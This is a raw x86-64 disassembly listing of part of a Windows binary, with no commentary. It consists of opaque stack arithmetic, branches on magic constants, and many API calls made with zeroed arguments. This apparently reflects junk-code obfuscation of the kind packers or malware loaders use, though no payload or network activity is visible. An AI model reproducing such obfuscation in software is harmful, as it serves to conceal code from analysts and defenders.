mov ecx, dword [rsp + 0x615c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7034], eax
lea rdx, [rsp + 0xed00]
mov rcx, qword [rsp + 0xed50]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x75c0], eax
movzx eax, word [rsp + 0x2558]
mov word [rsp + 0x2570], ax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4d7]
add eax, ecx
mov byte [rsp + 0x4dd], al
mov rax, qword [rsp + 0xede8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2570], ax
movzx eax, byte [rsp + 0x4db]
movzx ecx, byte [rsp + 0x3fd]
add eax, ecx
mov byte [rsp + 0x35e], al
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2560]
or eax, ecx
mov word [rsp + 0x2568], ax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x615c]
xor ecx, eax
mov eax, ecx
mov dword [0x1401eedf8], eax
mov eax, dword [rsp + 0x75b4]
sub eax, 0xbe
mov dword [rsp + 0x75b4], eax
mov eax, dword [rsp + 0x7530]
mov rcx, qword [0x1401eee00]
mov qword [rsp + 0xedf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xedf8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x758c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov rax, qword [rsp + 0xed58]
movzx ecx, al
mov rax, qword [0x1401eee08]
shl rax, cl
mov qword [rsp + 0xecd8], rax
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xed40]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xea88], rax
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2544]
add eax, ecx
mov word [rsp + 0x2554], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x255c]
sub eax, ecx
mov word [rsp + 0x2540], ax
movzx eax, byte [rsp + 0x4db]
movzx ecx, byte [rsp + 0x4dd]
and eax, ecx
mov byte [rsp + 0x3fd], al
movsx eax, byte [rsp + 0x4d9]
movsx ecx, byte [rsp + 0x4d8]
add eax, ecx
mov byte [rsp + 0x4dc], al
mov rax, qword [rsp + 0xedb8]
mov rcx, qword [rsp + 0xed40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed08], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [rsp + 0xedf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb58]
add rcx, rax
mov rax, rcx
mov qword [0x1401eee08], rax
mov eax, dword [rsp + 0x74d4]
mov ecx, dword [0x1401eedf8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7544], eax
mov eax, dword [rsp + 0x7530]
mov ecx, dword [rsp + 0x74e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x705c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xed98], rax
cmp dword [rsp + 0x75b4], 0x214e
jae 0x140017305
lea rax, [rsp + 0x2558]
mov qword [rsp + 0xee00], rax
movzx eax, byte [0x1401e3039]
movzx ecx, byte [rsp + 0x4db]
or eax, ecx
mov byte [rsp + 0x299], al
movzx ecx, word [rsp + 0x253c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2574], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xeda8], rax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
mov word [rsp + 0x2578], ax
mov rax, qword [rsp + 0xee00]
movsx eax, word [rax]
mov dword [rsp + 0x75c4], eax
cmp dword [rsp + 0x75c4], 0
je 0x140017612
cmp dword [rsp + 0x75c4], 0x3c4
je 0x1400175b5
jmp 0x14001768a
mov rax, qword [rsp + 0xecb8]
movzx ecx, al
mov rax, qword [rsp + 0xed40]
sar rax, cl
mov qword [rsp + 0xed08], rax
mov rax, qword [rsp + 0xed40]
mov rcx, qword [rsp + 0xea88]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xedb8], rax
mov ecx, 1
call qword [sym.imp.ole32.dll_CoRevokeClassObject]
mov dword [rsp + 0x7524], eax
mov rcx, qword [rsp + 0xecb8]
call fcn.1401c5950
jmp 0x14001768a
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2568]
shl eax, cl
mov word [rsp + 0x256c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2544]
and eax, ecx
mov word [0x1401e338c], ax
mov rax, qword [0x1401eee00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7530]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x758c], eax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x74ec]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6c34], eax
mov rax, qword [0x1401eee08]
mov rcx, qword [rsp + 0xbb58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd8], rax
mov rax, qword [rsp + 0xede8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xee00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2570], ax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4db]
and eax, ecx
mov byte [rsp + 0x299], al
mov rax, qword [rsp + 0xecb8]
mov rcx, qword [rsp + 0xedb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed08], rax
movsx eax, byte [rsp + 0x4dc]
movsx ecx, byte [rsp + 0x2b3]
add eax, ecx
mov byte [rsp + 0x4d9], al
mov rax, qword [rsp + 0xee00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xede8]
mov word [rcx], ax
mov eax, dword [0x1401eee10]
mov ecx, dword [rsp + 0x75bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x1401eee00]
mov dword [rcx], eax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xedf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xed58], rax
mov rax, qword [0x1401eee00]
mov ecx, dword [rsp + 0x60e0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7530], eax
mov eax, dword [rsp + 0x6c34]
mov rcx, qword [rsp + 0xedb0]
mov qword [rsp + 0xee08], rcx
movzx ecx, al
mov rax, qword [rsp + 0xee08]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x615c], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov eax, dword [rsp + 0x74c8]
sub eax, 0xa0
mov dword [rsp + 0x74c8], eax
lea rdx, [rsp + 0x75c8]
mov rcx, qword [rsp + 0xedc8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x75a0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1694]
sar eax, cl
mov word [rsp + 0x2564], ax
movsx eax, word [rsp + 0x2570]
mov rcx, qword [rsp + 0xee00]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x141c], ax
movzx eax, word [0x1401e3388]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2540], ax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3fd]
add eax, ecx
mov rcx, qword [rsp + 0xed68]
mov byte [rcx], al
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xedb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd0], rax
mov rax, qword [rsp + 0xecd8]
mov rcx, qword [rsp + 0xbb58]
sub rcx, rax
mov rax, rcx
mov qword [0x1401eee08], rax
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc7f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbb58], rax
mov rax, qword [0x1401eee00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x74e4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x751c], eax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7544]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68dc], eax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x255c]
sub eax, ecx
mov word [rsp + 0x2578], ax
movzx eax, byte [rsp + 0x4db]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x299], al
cmp dword [rsp + 0x74c8], 0x3ddf
jae 0x14001768a
mov rax, qword [0x1401eee00]
mov eax, dword [rax]
mov dword [rsp + 0x75cc], eax
cmp dword [rsp + 0x75cc], 0x1a23
je 0x14001798f
jmp 0x1400179e5
movsx eax, byte [rsp + 0x4dc]
movsx ecx, byte [rsp + 0x4d8]
sar eax, cl
mov byte [rsp + 0x2b3], al
mov rax, qword [rsp + 0xede8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1240]
shl eax, cl
mov word [rsp + 0x2544], ax
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xed40]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd0], rax
jmp 0x140017a57
lea rax, [0x1401e3039]
mov qword [0x1401eedf0], rax
mov dword [rsp + 0x75d0], 0x6345
movzx eax, word [rsp + 0xefc]
movzx ecx, word [rsp + 0x256c]
xor eax, ecx
mov word [rsp + 0x2564], ax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov dword [rsp + 0x75d4], eax
mov rax, qword [0x1401eee00]
mov ecx, dword [rsp + 0x751c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x74e4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xee10], rax
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xecd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7f8], rax
movzx eax, word [rsp + 0x141c]
mov word [rsp + 0x257c], ax
mov rax, qword [0x1401eedf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4d7], al
movsx eax, word [rsp + 0x2554]
mov dword [rsp + 0x75d8], eax
cmp dword [rsp + 0x75d8], 0
je 0x140017ad5
cmp dword [rsp + 0x75d8], 0x187
je 0x1401c539c
jmp 0x1401c53f4
lea rax, [rsp + 0x4d7]
mov qword [rsp + 0xee18], rax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
mov dword [rsp + 0x75dc], eax
cmp dword [rsp + 0x75dc], 0
je 0x140017b13
cmp dword [rsp + 0x75dc], 0xd61
je 0x140017b80
jmp 0x140017be3
movzx eax, word [rsp + 0x2540]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2480], ax
mov rax, qword [rsp + 0xede8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x257c], ax
mov rax, qword [rsp + 0xed40]
mov rcx, qword [rsp + 0xea88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
jmp 0x140017be3
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x6c34]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1401e3384], eax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xedf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbb58], rax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x615c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x74ec], eax
mov rcx, qword [rsp + 0xed08]
call fcn.1401c5950
mov rax, qword [rsp + 0xed08]
mov qword [rsp + 0xee20], rax
movabs rax, 0x2b50002a0c80c00
cmp qword [rsp + 0xee20], rax
je 0x140017c0c
jmp 0x1401c5256
movzx eax, byte [rsp + 0x4d9]
mov byte [rsp + 0x4de], al
movzx eax, byte [rsp + 0x4dc]
mov byte [rsp + 0x75e0], al
cmp byte [rsp + 0x75e0], 0x3c
je 0x140017c39
jmp 0x140017cce
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2554]
and eax, ecx
mov word [rsp + 0x2550], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xefc]
sub eax, ecx
mov word [rsp + 0x255c], ax
mov qword [rsp + 0x20], reloc.SHELL32.dll_ILCombine
mov r9, qword [rsp + 0xee28]
mov r8, qword [rsp + 0xee30]
mov rdx, qword [rsp + 0xee38]
mov rcx, qword [rsp + 0xee40]
call qword [sym.imp.USER32.dll_CreateDialogParamW]
mov qword [rsp + 0xee48], rax
mov rax, qword [rsp + 0xed18]
mov r8, qword [rax]
mov rdx, qword [rsp + 0xed58]
mov ecx, dword [rsp + 0x75bc]
call fcn.1401c5b60
jmp 0x1401c51ec
mov rax, qword [rsp + 0xea88]
mov qword [rsp + 0xee50], rax
movabs rax, 0x10000000000000
cmp qword [rsp + 0xee50], rax
je 0x140017d57
movabs rax, 0x77d07ff30f9f15
cmp qword [rsp + 0xee50], rax
je 0x140017d0b
jmp 0x140017da4
movzx eax, byte [rsp + 0x35e]
movzx ecx, byte [rsp + 0x4d7]
add eax, ecx
mov byte [0x1401e3039], al
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x6c34]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x74d4], eax
mov eax, dword [0x1401eee10]
mov ecx, dword [rsp + 0x751c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x758c], eax
jmp 0x140017da4
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xecd8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed60], rax
movzx eax, word [rsp + 0x255c]
mov word [rsp + 0x2580], ax
movzx eax, byte [rsp + 0x4d7]
mov rcx, qword [rsp + 0xee18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4da], al
movzx eax, word [rsp + 0x2578]
mov dword [rsp + 0x75e4], eax
cmp dword [rsp + 0x75e4], 0
je 0x140017dd3
cmp dword [rsp + 0x75e4], 0x80d
je 0x140017e69
jmp 0x140017ebb
mov rax, qword [rsp + 0xee00]
movzx eax, word [rax]
mov word [rsp + 0x2584], ax
movzx eax, byte [rsp + 0x4d9]
mov byte [rsp + 0x75e8], al
cmp byte [rsp + 0x75e8], 0x3f
je 0x140017e01
jmp 0x140017e3f
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x141c]
add eax, ecx
mov rcx, qword [rsp + 0xee00]
mov word [rcx], ax
lea rdx, [rsp + 0x22470]
mov rcx, qword [rsp + 0xee58]
call sub.MAGNIFICATION.dll_MagGetColorEffect
mov dword [rsp + 0x75ec], eax
jmp 0x140017e67
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xecb8]
mov rcx, qword [rsp + 0xecd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xed40], rax
jmp 0x140017ebb
mov rax, qword [0x1401eee08]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0xedf0]
mov r9, qword [rax]
mov rax, qword [rsp + 0xedf0]
mov r8, qword [rax]
mov rax, qword [rsp + 0xedf0]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0xecd8]
call fcn.1401c5b10
mov eax, dword [rsp + 0x7544]
mov ecx, dword [rsp + 0x74ec]
xor ecx, eax
mov eax, ecx
mov dword [0x1401e3384], eax
mov rax, qword [rsp + 0xed40]
mov qword [rsp + 0xee60], rax
movabs rax, 0x7235f5f5ac85f6
cmp qword [rsp + 0xee60], rax
je 0x140017fd7
movabs rax, 0x73015c1727a639
cmp qword [rsp + 0xee60], rax
je 0x140017efc
jmp 0x140018011
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2564]
or eax, ecx
mov word [rsp + 0x2580], ax
movsx eax, byte [rsp + 0x4de]
movsx ecx, byte [rsp + 0x4d9]
shl eax, cl
mov byte [rsp + 0x4d8], al
mov eax, dword [rsp + 0x74e4]
mov rcx, qword [0x1401eee00]
mov qword [rsp + 0xee68], rcx
movzx ecx, al
mov rax, qword [rsp + 0xee68]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x60e0], eax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x7544]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7034], eax
lea rdx, [rsp + 0x224e0]
mov rcx, qword [rsp + 0xee58]
call sub.MAGNIFICATION.dll_MagGetColorEffect
mov dword [rsp + 0x7558], eax
mov rax, qword [rsp + 0xedf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xed60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7f8], rax
mov rax, qword [rsp + 0xede8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xee00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2570], ax
jmp 0x140018011
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4da]
and eax, ecx
mov rcx, qword [rsp + 0xee18]
mov byte [rcx], al
mov rax, qword [rsp + 0xee18]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e3039]
sub eax, ecx
mov byte [rsp + 0x299], al
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xed48]
sub rcx, rax
mov rax, rcx
mov qword [0x1401e3390], rax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2480]
sub eax, ecx
mov word [rsp + 0x2564], ax
mov rax, qword [rsp + 0xecb8]
mov qword [rsp + 0xee70], rax
movabs rax, 0x7d28ea493ec4a1
cmp qword [rsp + 0xee70], rax
je 0x140018074
jmp 0x1400180ab
mov eax, dword [rsp + 0x705c]
mov dword [rsp + 0x20], eax
mov rax, qword [0x1401eee00]
mov r9d, dword [rax]
mov rax, qword [0x1401eee00]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x75bc]
mov ecx, dword [rsp + 0x751c]
call fcn.1401c58d0
jmp 0x14001815e
movsx eax, word [rsp + 0x2544]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x151c], ax
mov dword [rsp + 0x75f0], 0x91bb
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xed98], rax
mov rax, qword [rsp + 0xedf0]
mov rcx, qword [rsp + 0xc7f8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xecd8], rax
mov eax, dword [rsp + 0x705c]
mov dword [rsp + 0x75f4], eax
mov eax, dword [rsp + 0x7034]
mov ecx, dword [rsp + 0x74d4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x615c], eax
mov dword [rsp + 0x75f8], 0x3979
mov rax, qword [rsp + 0xed40]
cqo
idiv qword [rsp + 0xed08]
mov qword [rsp + 0xecb8], rax
mov rax, qword [rsp + 0xee00]
movzx eax, word [rax]
mov word [rsp + 0x2588], ax
lea rcx, [rsp + 0xed00]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2480]
sar eax, cl
mov word [rsp + 0x256c], ax
movzx eax, byte [rsp + 0x4dd]
movzx ecx, byte [rsp + 0x4db]
shl eax, cl
movzx ecx, byte [rsp + 0x299]
mov rdx, qword [rsp + 0xee18]
movzx edx, byte [rdx]
or ecx, edx
cmp eax, ecx
jl 0x1401c5090
cmp dword [rsp + 0x7598], 0x918
jae 0x1400185ec
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x75d4]
add ecx, eax
mov eax, ecx
mov dword [0x1401eedf8], eax
mov rax, qword [rsp + 0xecb8]
mov rcx, qword [rsp + 0xea88]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xed40], rax
mov rax, qword [rsp + 0xee18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4d7]
xor eax, ecx
mov byte [rsp + 0x35e], al
mov eax, dword [rsp + 0x7034]
mov rcx, qword [rsp + 0xedb0]
mov qword [rsp + 0xee78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xee78]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xedb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xedf0]
mov qword [rsp + 0xee80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xee80]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xed58], rax
mov rax, qword [0x1401eee00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x751c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7530], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xece0], rax
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2570]
sub eax, ecx
mov rcx, qword [rsp + 0xee00]
mov word [rcx], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2578]
add eax, ecx
mov word [rsp + 0x255c], ax
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xecb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed40], rax
movsx eax, byte [rsp + 0x4dc]
movsx ecx, byte [rsp + 0x2b3]
add eax, ecx
mov byte [0x1401e3038], al
mov rcx, qword [rsp + 0xed50]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x75fc], eax
movsx eax, word [rsp + 0x257c]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2558], ax
mov rax, qword [0x1401eedf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x299]
and eax, ecx
mov rcx, qword [rsp + 0xee18]
mov byte [rcx], al
mov rax, qword [rsp + 0xecd8]
mov rcx, qword [rsp + 0xbb58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7f8], rax
mov eax, dword [rsp + 0x758c]
mov dword [rsp + 0x7600], eax
mov eax, dword [rsp + 0x68dc]
mov ecx, dword [rsp + 0x74ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7034], eax
movzx eax, word [rsp + 0x2564]
movzx ecx, word [rsp + 0x2540]
sub eax, ecx
mov word [rsp + 0x2560], ax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4da]
or eax, ecx
mov rcx, qword [rsp + 0xee18]
mov byte [rcx], al
movsx eax, word [rsp + 0x2558]
mov rcx, qword [rsp + 0xede8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2570], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
movzx eax, word [rsp + 0x2540]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401e3388], ax
lea rcx, [rsp + 0xed20]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xedb8]
mov rcx, qword [rsp + 0xecd0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xea88], rax
mov rax, qword [rsp + 0xedb8]
mov rcx, qword [rsp + 0xecd0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
mov rax, qword [0x1401eee00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x74e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x758c], eax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xedf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xed60], rax
mov eax, dword [rsp + 0x7544]
mov ecx, dword [rsp + 0x68dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7034], eax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1694]
add eax, ecx
mov word [rsp + 0x255c], ax
movzx eax, byte [rsp + 0x4d7]
movzx ecx, byte [rsp + 0x299]
sub eax, ecx
mov byte [rsp + 0x3fd], al
movsx eax, byte [rsp + 0x4de]
movsx ecx, byte [0x1401e3038]
sub eax, ecx
mov byte [rsp + 0x2b3], al
mov rax, qword [rsp + 0xee00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401e3380], ax
mov rax, qword [rsp + 0xedb8]
mov rcx, qword [rsp + 0xea88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd0], rax
mov eax, dword [rsp + 0x7598]
add eax, 0x30
mov dword [rsp + 0x7598], eax
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xede8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2554], ax
mov eax, dword [rsp + 0x758c]
mov rcx, qword [0x1401eee00]
mov qword [rsp + 0xee88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xee88]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x75bc], eax
mov rax, qword [rsp + 0xed60]
mov rcx, qword [rsp + 0xedf0]
mov qword [rsp + 0xee90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xee90]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xed48], rax
jmp 0x1400181b8
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x68dc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6088], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x7588], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
movzx eax, word [rsp + 0x2578]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2480], ax
movzx eax, byte [0x1401e3039]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4dd], al
mov rax, qword [rsp + 0xea88]
mov rcx, qword [rsp + 0xed08]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xecd0]
mov rdx, qword [rsp + 0xecb8]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jle 0x140018807
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x74ec]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x74d4], eax
movzx r9d, word [rsp + 0x2570]
mov rax, qword [rsp + 0xed18]
mov r8, qword [rax]
movzx edx, word [rsp + 0x2578]
mov rax, qword [0x1401eee00]
mov ecx, dword [rax]
call fcn.1401c5840
mov rax, qword [rsp + 0xee18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4d7]
shl eax, cl
mov rcx, qword [rsp + 0xed68]
mov byte [rcx], al
mov edx, reloc.SHELL32.dll_ILCombine
mov ecx, 0xf2
call qword [sym.imp.GDI32.dll_CreateHatchBrush]
mov qword [rsp + 0xee98], rax
mov rax, qword [rsp + 0xedf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xed18]
mov qword [rsp + 0xeea0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeea0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xbb58], rax
movsx eax, byte [rsp + 0x4d9]
movsx ecx, byte [rsp + 0x2b3]
xor eax, ecx
mov byte [rsp + 0x4d8], al
movzx eax, byte [0x1401e3039]
mov rcx, qword [rsp + 0xee18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4da], al
lea rdx, [rsp + 0x224e0]
mov rcx, qword [rsp + 0xee30]
